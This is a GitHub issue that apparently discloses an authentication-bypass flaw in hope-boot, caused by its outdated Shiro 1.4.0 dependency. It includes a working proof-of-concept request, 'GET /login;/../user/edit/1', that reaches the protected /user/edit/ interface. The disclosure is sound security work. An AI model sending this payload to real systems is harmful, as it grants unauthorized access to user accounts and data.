Repository navigation
There is an Incorrect Access Control vulnerability in hope-boot #86
Description
[Suggested description]
hope-boot was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of Shiro.
[Vulnerability Type]
Incorrect access control
[Vendor of Product]
https://github.com/java-aodeng/hope-boot
[Affected Product Code Base]
all version (<= 1.0.0-release)
[Affected Component]
/user/edit/ interface
[Attack Type]
Remote
[Vulnerability details]
Send the payload below to the interface /user/edit/
GET /login;/../user/edit/1 HTTP/1.1
Host: localhost:8886
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: localhost:8886
Connection: keep-alive
[Cause of vulnerability]
Shiro is used for authentication in hope-boot, but version 1.4.0 contains an insecure implementation
Meanwhile, hope-boot includes some interfaces configured without permission requirements, enabling the exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.
Activity